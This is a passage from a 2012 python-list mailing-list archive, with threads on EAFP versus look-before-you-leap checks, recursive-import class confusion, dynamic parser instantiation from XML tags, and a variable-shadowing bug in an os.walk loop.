often you expect to fail. > > > If the keys are nearly always present, then: > > > > > > try: > > > do_stuff(mydict[k]) > > > except KeyError: > > > pass > > > > > > will be faster. Setting up a try block is very fast, about as fast as > > > "pass", and faster than "if k in mydict". > > > > > > But if the key is often missing, then catching the exception will be > > > slow, and the "if k in mydict" version may be faster. It depends on how > > > often the key is missing. > > > > > > > Setting up the try/except is a constant time cost, while the > > duplicated search for k inside the dictionary might depend on various > > other factors. In the specific case of a Python dictionary, the > > membership check is fairly cheap (assuming you're not the subject of a > > hash collision attack - Py3.3 makes that a safe assumption), but if > > you were about to execute a program and wanted to first find out if it > > existed, that extra check could be ridiculously expensive, eg if the > > path takes you on a network drive - or, worse, on multiple network > > drives, which I have had occasion to do! > > > > ChrisA Not really. I remember a bug saying that only 256 hashes were required of known texts and then the randomization becomes useless. From rosuav at gmail.com Sat Dec 8 22:22:21 2012 From: rosuav at gmail.com (Chris Angelico) Date: Sun, 9 Dec 2012 14:22:21 +1100 Subject: Confused compare function :) In-Reply-To: References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> <50c085e5$0$29994$c3e8da3$5496439d@news.astraweb.com> Message-ID: On Sun, Dec 9, 2012 at 2:07 PM, Ramchandra Apte wrote: > Not really. I remember a bug saying that only 256 hashes were required of known texts and then the randomization becomes useless. That requires that someone be able to get you to hash some text and give back the hash. In any case, even if you _are_ dealing with the worst-case hash collision attack, all it does is stop a Python dictionary from being an exception to the general principle. If you're doing a lookup in, say, a tree, then checking if the element exists and then retrieving it means walking the tree twice - O(log n) if the tree's perfectly balanced, though a splay tree would be potentially quite efficient at that particular case. But there's still extra cost to the check. ChrisA From steve+comp.lang.python at pearwood.info Sun Dec 9 02:39:19 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 09 Dec 2012 07:39:19 GMT Subject: Confused compare function :) References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> <50c085e5$0$29994$c3e8da3$5496439d@news.astraweb.com> Message-ID: <50c44027$0$29994$c3e8da3$5496439d@news.astraweb.com> On Sun, 09 Dec 2012 14:22:21 +1100, Chris Angelico wrote: > On Sun, Dec 9, 2012 at 2:07 PM, Ramchandra Apte > wrote: >> Not really. I remember a bug saying that only 256 hashes were required >> of known texts and then the randomization becomes useless. > > That requires that someone be able to get you to hash some text and give > back the hash. In any case, even if you _are_ dealing with the > worst-case hash collision attack, all it does is stop a Python > dictionary from being an exception to the general principle. Dictionaries never were an exception to the general principle. Regardless of how cheap or expensive it is, whether it is a constant cost or a potentially unbound expense or somewhere in between, the "look" in "look before you leap" tests has some cost. # Look Before You Leap (LBYL) if condition(): do_this() else: do_that() # Easier to Ask Forgiveness than Permission (EAFP) try: do_this() except ConditionFailed: do_that() Depending on the cost, and how often you have to pay it, either LBYL or EAFP will be cheaper. Sometimes you can predict which one will be cheaper -- "most of the time, the key will be present" -- sometimes you can't. But there's always a choice, and the choice is not always the right choice. But... why are we focusing only on the cost? What about *correctness*? LBYL suffers from an even more critical problem, never mind the cost of the check. That problem is the gap in time between the check and when you go to do the actual work. In the fraction of a second between checking condition and calling do_this(), the situation might have changed. The file that did exist has now been deleted by another program. The key was in the dict, and now another thread has deleted it. The network was up, and now its down. These sorts of things are extremely hard to diagnose, extremely hard to prevent, and extremely hard to replicate. They lead to race conditions and "Time Of Check to Time Of Use" bugs. Many of the more tricky, subtle security vulnerabilities are due to TOCTOU bugs. So, very often, it isn't enough to Look Before You Leap. You *still* have to be prepared to Ask Forgiveness: # not good enough if os.path.exists(filename): f = open(filename) else: handle_missing_file() # should be if os.path.exists(filename): try: f = open(filename) except (IOError, OSError): handle_missing_file() else: handle_missing_file() But in that case, what's the point of the initial check? -- Steven From breamoreboy at yahoo.co.uk Sun Dec 9 03:48:35 2012 From: breamoreboy at yahoo.co.uk (Mark Lawrence) Date: Sun, 09 Dec 2012 08:48:35 +0000 Subject: Parsing in Python In-Reply-To: References: Message-ID: On 08/12/2012 22:23, subhabangalore at gmail.com wrote: > Dear Group, > > I am looking at a readymade tool to resolve anaphora, and I am looking a Python based one. I checked NLTK. It has DRT parser. But I do not like that. In other parsers you have to insert grammar. But I am looking for a completely built in. > > If anyone can kindly suggest. > > Regards, Subhabrata. > Take your pick from http://nedbatchelder.com/text/python-parsers.html -- Cheers. Mark Lawrence. From vasanthfast8 at gmail.com Sun Dec 9 07:13:04 2012 From: vasanthfast8 at gmail.com (vasanthfast8 at gmail.com) Date: Sun, 9 Dec 2012 04:13:04 -0800 (PST) Subject: kishor heart thief@gmail.com Message-ID: hi From maniandram01 at gmail.com Sun Dec 9 09:11:07 2012 From: maniandram01 at gmail.com (Ramchandra Apte) Date: Sun, 9 Dec 2012 06:11:07 -0800 (PST) Subject: why does dead code costs time? In-Reply-To: References: Message-ID: <73029be5-a075-4eef-ad20-94b9fb3d6e56@googlegroups.com> On Wednesday, 5 December 2012 22:10:51 UTC+5:30, Bruno Dupuis wrote: > On Wed, Dec 05, 2012 at 04:15:59PM +0000, Neil Cerutti wrote: > > > On 2012-12-05, Bruno Dupuis wrote: > > > > Hi, > > > > > > > > I'm interested in compilers optimizations, so I study python > > > > compilation process > > > > > > > > I ran that script: > > > > > > > > import timeit > > > > > > > > def f(x): > > > > return None > > > > > > > > def g(x): > > > > return None > > > > print(x) > > > > > > > > number = 10000 > > > > > > > > print(timeit.timeit('f(1)',setup="from __main__ import f", number=number)) > > > > print(timeit.timeit('g(1)',setup="from __main__ import g", number=number)) > > > > > > > > print(dis.dis(f)) > > > > print(dis.dis(g)) > > > > > > > > It gives this output: > > > > > > > > 0.003460251959040761 > > > > 0.004164454061537981 > > > > 17 0 LOAD_CONST 0 (None) > > > > 3 RETURN_VALUE > > > > None > > > > 20 0 LOAD_GLOBAL 0 (None) > > > > 3 RETURN_VALUE > > > > > > > > 21 4 LOAD_GLOBAL 1 (print) > > > > 7 LOAD_FAST 0 (x) > > > > 10 CALL_FUNCTION 1 (1 positional, 0 keyword pair) > > > > 13 POP_TOP > > > > None > > > > > > > > I do not understand why the dead code `print(x)` takes time (~20% in > > > > that case). As we see in the opcode, a call to g(1) returns immediately, so > > > > there should be no delay at all. Where am i wrong? > > > > > > > > mmhh... it comes to me now that the gap must be in function loading time... > > > > I'll check ceval.c > > > > > > > > However, isn't there a room for a slight optim here? (in this case, the > > > > dead code is obvious, but it may be hidden by complex loops and > > > > conditions) > > > > > > Maybe it's the difference between LOAD_CONST and LOAD_GLOBAL. We > > > can wonder why g uses the latter. > > > > Good point! I didn't even noticed that. It's weird... Maybe the > > difference comes from a peehole optim on f which is not possible on g as > > g is to complex. > > > > > > > > -- > > > Neil Cerutti > > > -- > > > http://mail.python.org/mailman/listinfo/python-list > > > > -- > > Bruno Dupuis peehole haha From miki.tebeka at gmail.com Sun Dec 9 11:27:01 2012 From: miki.tebeka at gmail.com (Miki Tebeka) Date: Sun, 9 Dec 2012 08:27:01 -0800 (PST) Subject: Running a Python app on a remote server and displaying the output files In-Reply-To: References: Message-ID: <64eff182-70ab-4934-a805-24eb7890fffb@googlegroups.com> On Saturday, December 8, 2012 12:22:35 PM UTC-8, Jason Hsu wrote: > 1. How do I run my Python script in Google App Engine and make the output results.csv file publicly available? Probably https://developers.google.com/appengine/docs/python/blobstore/, however https://developers.google.com/appengine/docs/python/gettingstarted/staticfiles might work as well. From breamoreboy at yahoo.co.uk Sun Dec 9 11:47:09 2012 From: breamoreboy at yahoo.co.uk (Mark Lawrence) Date: Sun, 09 Dec 2012 16:47:09 +0000 Subject: why does dead code costs time? In-Reply-To: <73029be5-a075-4eef-ad20-94b9fb3d6e56@googlegroups.com> References: <73029be5-a075-4eef-ad20-94b9fb3d6e56@googlegroups.com> Message-ID: On 09/12/2012 14:11, Ramchandra Apte wrote: > > peehole haha > Double spaced crap from you again not so haha. -- Cheers. Mark Lawrence. From danielkleinad at gmail.com Sun Dec 9 18:34:39 2012 From: danielkleinad at gmail.com (danielk) Date: Sun, 9 Dec 2012 15:34:39 -0800 (PST) Subject: An object is and isn't an instance of a class at the same time Message-ID: I was debugging some code using isinstance() to make sure the correct object was been passed to the method and came across something that is really ticking me off. I have a class called 'Jitem' in its own file called 'jitem.py'. It's part of a package called 'jukebox'. I also have '__all__' that includes 'jitem' so that I can do: from jukebox import * There is another class that has a method that does this (simplified for this example): def execute(self, command): I stuck this debug code in the method: if not isinstance(command, jitem.Jitem): print(command.__class__) raise TypeError("Command must be an instance of Jitem.") When this method gets run in a test script, it returns this: D:\home\python>python jtest.py Traceback (most recent call last): File "jtest.py", line 4, in executeResults = jc.execute(cmnd) File "D:\home\python\jukebox\jconnection.py", line 225, in execute raise TypeError("Command must be an instance of Jitem.") TypeError: Command must be an instance of Jitem. How can it both get past isinstance() and still say it is the proper class? Dan Klein From rosuav at gmail.com Sun Dec 9 19:31:13 2012 From: rosuav at gmail.com (Chris Angelico) Date: Mon, 10 Dec 2012 11:31:13 +1100 Subject: An object is and isn't an instance of a class at the same time In-Reply-To: References: Message-ID: On Mon, Dec 10, 2012 at 10:34 AM, danielk wrote: > D:\home\python>python jtest.py > > Traceback (most recent call last): > File "jtest.py", line 4, in > executeResults = jc.execute(cmnd) > File "D:\home\python\jukebox\jconnection.py", line 225, in execute > raise TypeError("Command must be an instance of Jitem.") > TypeError: Command must be an instance of Jitem. > > How can it both get past isinstance() and still say it is the proper class? You're invoking it as __main__ and then also importing it. This gives you two instances of your module, with two separate classes that have the same name and (presumably) the same definition. If you use a separate driver script, you won't see this problem. Alternatively, simply stop checking isinstance and trust that, if something incompatible gets passed in, it'll throw an exception somewhere. That's usually enough. ChrisA From victorhooi at gmail.com Sun Dec 9 19:35:26 2012 From: victorhooi at gmail.com (Victor Hooi) Date: Sun, 9 Dec 2012 16:35:26 -0800 (PST) Subject: Creating different classes dynamically? Message-ID: <6bf5d1ed-b158-468e-9c51-a566a8b9bfb8@googlegroups.com> Hi, I have a directory tree with various XML configuration files. I then have separate classes for each type, which all inherit from a base. E.g. class AnimalConfigurationParser: ... class DogConfigurationParser(AnimalConfigurationParser): ... class CatConfigurationParser(AnimalConfigurationParser): .... I can identify the type of configuration file from the root XML tag. I'd like to walk through the directory tree, and create different objects based on the type of configuration file: for root, dirs, files in os.walk('./'): for file in files: if file.startswith('ml') and file.endswith('.xml') and 'entity' not in file: with open(os.path.join(root, file), 'r') as f: try: tree = etree.parse(f) root = tree.getroot() print(f.name) print(root.tag) # Do something to create the appropriate type of parser except xml.parsers.expat.ExpatError as e: print('Unable to parse file {0} - {1}'.format(f.name, e.message)) I have a dict with the root tags - I was thinking of mapping these directly to the functions - however, I'm not sure if that's the right way to do it? Is there a more Pythonic way of doing this? root_tags = { 'DogRootTag': DogConfigurationParser(), 'CatRootTag': CatConfigurationParser(), } Cheers, Victor From d at davea.name Sun Dec 9 19:48:23 2012 From: d at davea.name (Dave Angel) Date: Sun, 09 Dec 2012 19:48:23 -0500 Subject: An object is and isn't an instance of a class at the same time In-Reply-To: References: Message-ID: <50C53157.5080506@davea.name> On 12/09/2012 07:31 PM, Chris Angelico wrote: > On Mon, Dec 10, 2012 at 10:34 AM, danielk wrote: >> D:\home\python>python jtest.py >> >> Traceback (most recent call last): >> File "jtest.py", line 4, in >> executeResults = jc.execute(cmnd) >> File "D:\home\python\jukebox\jconnection.py", line 225, in execute >> raise TypeError("Command must be an instance of Jitem.") >> TypeError: Command must be an instance of Jitem. >> >> How can it both get past isinstance() and still say it is the proper class? > You're invoking it as __main__ and then also importing it. This gives > you two instances of your module, with two separate classes that have > the same name and (presumably) the same definition. > > If you use a separate driver script, you won't see this problem. > Alternatively, simply stop checking isinstance and trust that, if > something incompatible gets passed in, it'll throw an exception > somewhere. That's usually enough. > > Just to elaborate on ChrisA's comments. You have a script which imports a module, which in turn imports the script. That's called recursive imports, and is a "BAD THING." It can cause various problems, but in the particular case of importing the top-level script, it can cause a very confusing one as you see here. There are two copies of any classes defined in the script, and the system treats them as independent classes which only happen to have the same name. isInstance() is one place you might notice this, but class static variables and even "global" variables in that module are also candidates. The real problem is that sometimes people treat the symptom and never fix the underlying problem, the recursive import. Whenever you have "a imports b, which imports a," or you have "a imports b, which imports c, which imports a," you run the risk of something getting initialized out of order, or worse getting initialized twice. You need to fix that, usually by factoring out some part which is recursive, and moving it to an independent module which gets imported by both the others. You can also get into this type of confusion by importing a module by two different names, for example if you import it from a directory in one place, and from a package in another. -- DaveA From victorhooi at gmail.com Sun Dec 9 19:52:34 2012 From: victorhooi at gmail.com (Victor Hooi) Date: Sun, 9 Dec 2012 16:52:34 -0800 (PST) Subject: TypeError: 'in ' requires string as left operand, not Element Message-ID: <8c78344a-8019-450a-bfdf-13508bf75292@googlegroups.com> Hi, I'm getting a strange error when I try to run the following: for root, dirs, files in os.walk('./'): for file in files: if file.startswith('ml') and file.endswith('.xml') and 'entity' not in file: print(root) print(file) with open(os.path.join(root, file), 'r') as f: print(f.name) try: tree = etree.parse(f) root = tree.getroot() print(f.name) print(root.tag) except xml.parsers.expat.ExpatError as e: print('Unable to parse file {0} - {1}'.format(f.name, e.message)) The error is: Traceback (most recent call last): File "foo.py", line 275, in marketlink_configfiles() File "foo.py", line 83, in bar with open(os.path.join(root, file), 'r') as f: File "C:\Python27\lib\ntpath.py", line 97, in join if path[-1] in "/\\": TypeError: 'in ' requires string as left operand, not Element Cheers, Victor From d at davea.name Sun Dec 9 19:53:30 2012 From: d at davea.name (Dave Angel) Date: Sun, 09 Dec 2012 19:53:30 -0500 Subject: Creating different classes dynamically? In-Reply-To: <6bf5d1ed-b158-468e-9c51-a566a8b9bfb8@googlegroups.com> References: <6bf5d1ed-b158-468e-9c51-a566a8b9bfb8@googlegroups.com> Message-ID: <50C5328A.106@davea.name> On 12/09/2012 07:35 PM, Victor Hooi wrote: > Hi, > > I have a directory tree with various XML configuration files. > > I then have separate classes for each type, which all inherit from a base. E.g. > > class AnimalConfigurationParser: > ... > > class DogConfigurationParser(AnimalConfigurationParser): > ... > > class CatConfigurationParser(AnimalConfigurationParser): > .... > > I can identify the type of configuration file from the root XML tag. > > I'd like to walk through the directory tree, and create different objects based on the type of configuration file: > > for root, dirs, files in os.walk('./'): > for file in files: > if file.startswith('ml') and file.endswith('.xml') and 'entity' not in file: > with open(os.path.join(root, file), 'r') as f: > try: > tree = etree.parse(f) > root = tree.getroot() > print(f.name) > print(root.tag) > # Do something to create the appropriate type of parser > except xml.parsers.expat.ExpatError as e: > print('Unable to parse file {0} - {1}'.format(f.name, e.message)) > > I have a dict with the root tags - I was thinking of mapping these directly to the functions - however, I'm not sure if that's the right way to do it? Is there a more Pythonic way of doing this? > > root_tags = { > 'DogRootTag': DogConfigurationParser(), > 'CatRootTag': CatConfigurationParser(), > } > > Cheers, > Victor Your subject line says you want to create the classes dynamically, but that's not what your code implies. if you just want to decide which class to INSTANTIATE dynamically, that's easily done, and you have it almost right. In your dict you should leave off those parentheses. Then the parser creation looks something like: parser_instance = root_tags[root.tag] (arg1, arg2) where the arg1, arg2 are whatever arguments the __init__ of these classes expects. (untested) -- DaveA From roy at panix.com Sun Dec 9 20:08:39 2012 From: roy at panix.com (Roy Smith) Date: Sun, 09 Dec 2012 20:08:39 -0500 Subject: TypeError: 'in ' requires string as left operand, not Element References: <8c78344a-8019-450a-bfdf-13508bf75292@googlegroups.com> Message-ID: In article <8c78344a-8019-450a-bfdf-13508bf75292 at googlegroups.com>, Victor Hooi wrote: > Hi, > > I'm getting a strange error when I try to run the following: > > for root, dirs, files in os.walk('./'): > for file in files: > if file.startswith('ml') and file.endswith('.xml') and 'entity' > not in file: > print(root) > print(file) > with open(os.path.join(root, file), 'r') as f: > print(f.name) > try: > tree = etree.parse(f) > root = tree.getroot() > print(f.name) > print(root.tag) > except xml.parsers.expat.ExpatError as e: > print('Unable to parse file {0} - {1}'.format(f.name, > e.message)) > > The error is: > > Traceback (most recent call last): > File "foo.py", line 275, in > marketlink_configfiles() > File "foo.py", line 83, in bar > with open(os.path.join(root, file), 'r') as f: > File "C:\Python27\lib\ntpath.py", line 97, in join > if path[-1] in "/\\": > TypeError: 'in ' requires string as left operand, not Element > > Cheers, > Victor The first thing I would do is try to figure out if it's happening in the join() or the open(). Try refactoring this as: > temp = os.path.join(root, file) > with open(temp, 'r') as f: and see which line generates the exception. I'm guessing it's the join(), but it helps to make sure (so you don't go down some rabbit hole). Next, I would try to construct a minimal test case. Keep hacking away code until you get down to the smallest thing which is produce the problem. I'm guessing something like: > for root, dirs, files in os.walk('./'): > for file in files: > os.path.join(root, file) might do it. Hopefully that will narrow things down a bit. From victorhooi at gmail.com Sun Dec 9 20:09:02 2012 From: victorhooi at gmail.com (Victor Hooi) Date: Sun, 9 Dec 2012 17:09:02 -0800 (PST) Subject: TypeError: 'in ' requires string as left operand, not Element In-Reply-To: <8c78344a-8019-450a-bfdf-13508bf75292@googlegroups.com> References: <8c78344a-8019-450a-bfdf-13508bf75292@googlegroups.com> Message-ID: Hi, Ignore me - PEBKAC...lol. I used "root" both for the os.walk, and also for the root XML element. Thanks anyhow =). Cheers, Victor On Monday, 10 December 2012 11:52:34 UTC+11, Victor Hooi wrote: > Hi, > > > > I'm getting a strange error when I try to run the following: > > > > for root, dirs, files in os.walk('./'): > > for file in files: > > if file.startswith('ml') and file.endswith('.xml') and 'entity' not in file: > > print(root) > > print(file) > > with open(os.path.join(root, file), 'r') as f: > > print(f.name) > > try: > > tree = etree.parse(f) > > root = tree.getroot() > > print(f.name) > > print(root.tag) > > except xml.parsers.expat.ExpatError as e: > > print('Unable to parse file {0} - {1}'.format(f.name, e.message)) > > > > The error is: > > > > Traceback (most recent call last): > > File "foo.py", line 275, in > > marketlink_configfiles() > > File "foo.py", line 83, in bar > > with open(os.path.join(root, file), 'r') as f: > > File "C:\Python27\lib\ntpath.py", line 97, in join > > if path[-1] in "/\\": > > TypeError: 'in ' requires string as left operand, not Element > > > > Cheers, > > Victor From aclark at aclark.net Sun Dec 9 20:13:43 2012 From: aclark at aclark.net (Alex Clark) Date: Sun, 9 Dec 2012 20:13:43 -0500 Subject: The Zen of Zope, by Alex Clark Message-ID: >>> import other The Zen of Zope, by Alex Clark Beautiful is an attribute of ugly. Explicit is implemented by implicit. Simple is provided by complex. Complex is directly provided by complicated. Flat only implements nested. Sparse has tagged value dense. Readability count is not in range. Special cases could not adapt the rules. Practicality implements purity. Errors should never require a specification that doesn?t extend the specification of silence. Unless explicit is a multi-adapter. In subscribing to ambiguity, return all the objects that refuse the temptation to guess. There should be none-- and preferably only zero --output from a handler. Although that way may not be obvious at first unless you've registered an adapter hook. Now is verified by never. Although never is not implemented by *right* now. If the implementation is hard to explain, it queries the bad idea utility. If the implementation is easy to explain, it may query the good idea utility. Implicit namespace packages are one honking great idea -- let's do more of those! -- Alex Clark ? https://www.gittip.com/aclark4life/ From d at davea.name Sun Dec 9 20:19:30 2012 From: d at davea.name (Dave Angel) Date: Sun, 09 Dec 2012 20:19:30 -0500 Subject: TypeError: 'in ' requires string as left operand, not Element In-Reply-To: <8c78344a-8019-450a-bfdf-13508bf75292@googlegroups.com> References: <8c78344a-8019-450a-bfdf-13508bf75292@googlegroups.com> Message-ID: <50C538A2.20301@davea.name> On 12/09/2012 07:52 PM, Victor Hooi wrote: > Hi, > > I'm getting a strange error when I try to run the following: > > for root, dirs, files in os.walk('./'): > for file in files: > if file.startswith('ml') and file.endswith('.xml') and 'entity' not in file: > print(root) > print(file) > with open(os.path.join(root, file), 'r') as f: > print(f.name) > try: > tree = etree.parse(f) > root = tree.getroot() > print(f.name) > print(root.tag) > except xml.parsers.expat.ExpatError as e: > print('Unable to parse file {0} - {1}'.format(f.name, e.message)) > Where's the printout of the root and file variables? You're asking os.path.join to work on them, and it's clearly upset about their types. I see print statements, so you clearly were thinking along these lines. But you don't show them. BTW, I'd be using print(repr(root)) and print(repr(file)) instead, so you get a better idea of their type and value. My guess for the problem is that you're trashing 'root' with the contents of your try block. Try using a different name for the xml stuff. > The error is: > > Traceback (most recent call last): > File "foo.py", line 275, in > marketlink_configfiles() > File "foo.py", line 83, in bar > with open(os.path.join(root, file), 'r') as f: > File "C:\Python27\lib\ntpath.py", line 97, in join > if path[-1] in "/\\": > TypeError: 'in ' requires string as left operand, not Element > > Cheers, > Victor Incidentally, 'file' is a builtin type, so it's probably not a good idea to hide it by using it as your own local variable. -- DaveA From victorhooi at gmail.com Sun Dec 9 20:34:16 2012 From: victorhooi at gmail.com (Victor Hooi) Date: Sun, 9 Dec 2012 17:34:16 -0800 (PST) Subject: Creating different classes dynamically? In-Reply-To: References: <6bf5d1ed-b158-468e-9c51-a566a8b9bfb8@googlegroups.com> Message-ID: heya, Dave: Ahah, thanks =). You're right, my terminology was off, I want to dynamically *instantiate*, not create new classes. And yes, removing the brackets worked =). Cheers, Victor On Monday, 10 December 2012 11:53:30 UTC+11, Dave Angel wrote: > On 12/09/2012 07:35 PM, Victor Hooi wrote: > > > Hi, > > > > > > I have a directory tree with various XML configuration files. > > > > > > I then have separate classes for each type, which all inherit from a base. E.g. > > > > > > class AnimalConfigurationParser: > > > ... > > > > > > class DogConfigurationParser(AnimalConfigurationParser): > > > ... > > > > > > class CatConfigurationParser(AnimalConfigurationParser): > > > .... > > > > > > I can identify the type of configuration file from the root XML tag. > > > > > > I'd like to walk through the directory tree, and create different objects based on the type of configuration file: > > > > > > for root, dirs, files in os.walk('./'): > > > for file in files: > > > if file.startswith('ml') and file.endswith('.xml') and 'entity' not in file: > > > with open(os.path.join(root, file), 'r') as f: > > > try: > > > tree = etree.parse(f) > > > root = tree.getroot() > > > print(f.name) > > > print(root.tag) > > > # Do something to create the appropriate type of parser > > > except xml.parsers.expat.ExpatError as e: > > > print('Unable to parse file {0} - {1}'.format(f.name, e.message)) > > > > > > I have a dict with the root tags - I was thinking of mapping these directly to the functions - however, I'm not sure if that's the right way to do it? Is there a more Pythonic way of doing this? > > > > > > root_tags = { > > > 'DogRootTag': DogConfigurationParser(), > > > 'CatRootTag': CatConfigurationParser(), > > > } > > > > > > Cheers, > > > Victor > > > > Your subject line says you want to create the classes dynamically, but > > that's not what your code implies. if you just want to decide which > > class to INSTANTIATE dynamically, that's easily done, and you have it > > almost right. In your dict you should leave off those parentheses. > > > > > > > > Then the parser creation looks something like: > > parser_instance = root_tags[root.tag] (arg1, arg2) > > > > where the arg1, arg2 are whatever arguments the __init__ of these > > classes expects. > > > > (untested) > > > > -- > > > > DaveA From victorhooi at gmail.com Sun Dec 9 20:34:16 2012 From: victorhooi at gmail.com (Victor Hooi) Date: Sun, 9 Dec 2012 17:34:16 -0800 (PST) Subject: Creating different classes dynamically? In-Reply-To: References: <6bf5d1ed-b158-468e-9c51-a566a8b9bfb8@googlegroups.com> Message-ID: heya, Dave: Ahah, thanks =). You're right, my terminology was off, I want to dynamically *instantiate*, not create new classes. And yes, removing the brackets worked =). Cheers, Victor On Monday, 10 December 2012 11:53:30 UTC+11, Dave Angel wrote: > On 12/09/2012 07:35 PM, Victor Hooi wrote: > > > Hi, > > > > > > I have a directory tree with various XML configuration files. > > > > > > I then have separate classes for each type, which all inherit from a base. E.g. > > > > > > class AnimalConfigurationParser: > > > ... > > > > > > class DogConfigurationParser(AnimalConfigurationParser): > > > ... > > > > > > class CatConfigurationParser(AnimalConfigurationParser): > > > .... > > > > > > I can identify the type of configuration file from the root XML tag. > > > > > > I'd like to walk through the directory tree, and create different objects based on the type of configuration file: > > > > > > for root, dirs, files in os.walk('./'): > > > for file in files: > > > if file.startswith('ml') and file.endswith('.xml') and 'entity' not in file: > > > with open(os.path.join(root, file), 'r') as f: > > > try: > > > tree = etree.parse(f) > > > root = tree.getroot() > > > print(f.name) > > > print(root.tag) > > > # Do something to create the appropriate type of parser > > > except xml.parsers.expat.ExpatError as e: > > > print('Unable to parse file {0} - {1}'.format(f.name, e.message)) > > > > > > I have a dict with the root tags - I was thinking of mapping these directly to the functions - however, I'm not sure if that's the right way to do it? Is there a more Pythonic way of doing this? > > > > > > root_tags = { > > > 'DogRootTag': DogConfigurationParser(), > > > 'CatRootTag': CatConfigurationParser(), > > > } > > > > > > Cheers, > > > Victor > > > > Your subject line says you want to create the classes dynamically, but > > that's not what your code implies. if you just want to decide which > > class to INSTANTIATE dynamically, that's easily done, and you have it > > almost right. In your dict you should leave off those parentheses. > > > > > > > > Then the parser creation looks something like: > > parser_instance = root_tags[root.tag] (arg1, arg2) > > > > where the arg1, arg2 are whatever arguments the __init__ of these > > classes expects. > > > > (untested) > > > > -- > > > > DaveA From python at mrabarnett.plus.com Sun Dec 9 21:42:50 2012 From: python at mrabarnett.plus.com (MRAB) Date: Mon, 10 Dec 2012 02:42:50 +0000 Subject: TypeError: 'in ' requires string as left operand, not Element In-Reply-To: <50C538A2.20301@davea.name> References: <8c78344a-8019-450a-bfdf-13508bf75292@googlegroups.com> <50C538A2.20301@davea.name> Message-ID: <50C54C2A.8080404@mrabarnett.plus.com> On 2012-12-10 01:19, Dave Angel wrote: > On 12/09/2012 07:52 PM, Victor Hooi wrote: >> Hi, >> >> I'm getting a strange error when I try to run the following: >> >> for root, dirs, files in os.walk('./'): >> for file in files: >> if file.startswith('ml') and file.endswith('.xml') and 'entity' not in file: >> print(root) >> print(file) >> with open(os.path.join(root, file), 'r') as f: >> print(f.name) >> try: >> tree = etree.parse(f) >> root = tree.getroot() >> print(f.name) >> print(root.tag) >> except xml.parsers.expat.ExpatError as e: >> print('Unable to parse file {0} - {1}'.format(f.name, e.message)) >> > > Where's the printout of the root and file variables? You're asking > os.path.join to work on them, and it's clearly upset about their types. > I see print statements, so you clearly were thinking along these lines. > But you don't show them. BTW, I'd be using print(repr(root)) and > print(repr(file)) instead, so you get a better idea of their type and value. > > My guess for the problem is that you're trashing 'root' with the > contents of your try block. Try using a different name for the xml stuff. > >> The error is: >> >> Traceback (most recent call last): >> File "foo.py", line 275, in >> marketlink_configfiles() >> File "foo.py", line 83, in bar >> with open(os.path.join(root, file), 'r') as f: >> File "C:\Python27\lib\ntpath.py", line 97, in join >> if path[-1] in "/\\": >> TypeError: 'in ' requires string as left operand, not Element >> >> Cheers, >> Victor > > Incidentally, 'file' is a builtin type, so it's probably not a good idea > to hide it by using it as your own local variable. > It looks like Python 3 to me, which doesn't define 'file'. From steve+comp.lang.python at pearwood.info Sun Dec 9 23:24:00 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 10 Dec 2012 04:24:00 GMT Subject: The Zen of Zope, by Alex Clark References: Message-ID: <50c563e0$0$21722$c3e8da3$76491128@news.astraweb.com> On Sun, 09 Dec 2012 20:13:43 -0500, Alex Clark wrote: >>>> import other > The Zen of Zope, by Alex Clark I expect that I would find that hilarious if I knew anything about Zope :) -- Steven From jeanmichel at sequans.com Mon Dec 10 05:03:22 2012 From: jeanmichel at sequans.com (Jean-Michel Pichavant) Date: Mon, 10 Dec 2012 11:03:22 +0100 (CET) Subject: A question about readability In-Reply-To: <813b87e3-ac04-400f-86dd-b52eefb0ab22@me7g2000pbb.googlegroups.com> Message-ID: <1199968786.112398.1355133802775.JavaMail.root@sequans.com> ----- Original Message ----- > On Dec 7, 6:46?pm, Marco wrote: > > Hi all, do you think this code: > > > > $ more myscript.py > > for line in open('data.txt'): > > ? ? ?result = sum(int(data) for data in line.split(';')) > > ? ? ?print(result) > > > > that sums the elements of the lines of this file: > > > > $ more data.txt > > 30;44;99;88 > > 11;17;16;50 > > 33;91;77;15 > > $ python3.3 myscript.py > > 261 > > 94 > > 216 > > > > is explicit enough? Do you prefer a clearer solution? > > Thanks in advance, Marco > > -- > > Marco > > Interpreting your question as a general question of stylistics, my > experience is that a 3 line script often becomes a 10 line or a 50 > line script at which point the direct printing will have to be > modified to create an internal data structure. > > So on the whole I find it expedient to start with that assumption and > write it as: > > def linesums(file): > return [sum(int(i) for i in l.split(';')) for l in open(file, 'r')] Why change the OP's namings ? 'data' and 'line' were more suitable than 'i' and 'l'. Of course we're nitpicking, no one will get hurt. JM -- IMPORTANT NOTICE: The contents of this email and any attachments are confidential and may also be privileged. If you are not the intended recipient, please notify the sender immediately and do not disclose the contents to any other person, use it for any purpose, or store or copy the information in any medium. Thank you. From rustompmody at gmail.com Mon Dec 10 05:26:28 2012 From: rustompmody at gmail.com (rusi) Date: Mon, 10 Dec 2012 02:26:28 -0800 (PST) Subject: A question about readability References: Message-ID: On Dec 10, 3:03?pm, Jean-Michel Pichavant wrote: > ----- Original Message ----- > > On Dec 7, 6:46?pm, Marco wrote: > > > Hi all, do you think this code: > > > > $ more myscript.py > > > for line in open('data.txt'): > > > ? ? ?result = sum(int(data) for data in line.split(';')) > > > ? ? ?print(result) > > > > that sums the elements of the lines of this file: > > > > $ more data.txt > > > 30;44;99;88 > > > 11;17;16;50 > > > 33;91;77;15 > > > $ python3.3 myscript.py > > > 261 > > > 94 > > > 216 > > > > is explicit enough? Do you prefer a clearer solution? > > > Thanks in advance, Marco > > > -- > > > Marco > > > Interpreting your question as a general question of stylistics, my > > experience is that a 3 line script often becomes a 10 line or a 50 > > line script at which point the direct printing will have to be > > modified to create an internal data structure. > > > So on the whole I find it expedient to start with that assumption and > > write it as: > > > def linesums(file): > > ? return [sum(int(i) for i in l.split(';')) for l in open(file, 'r')] > > Why change the OP's namings ? 'data' and 'line' were more suitable than 'i' and 'l'. Of course we're nitpicking, no one will get hurt. > > JM Yes, l is an undesirable name because it can look like 1 From news at blinne.net Mon Dec 10 06:47:30 2012 From: news at blinne.net (Alexander Blinne) Date: Mon, 10 Dec 2012 12:47:30 +0100 Subject: Python Noob Question. In-Reply-To: References: <8322bece-1a04-456e-8dc4-910cfc502a07@googlegroups.com> <50bbcba5$0$29994$c3e8da3$5496439d@news.astraweb.com> 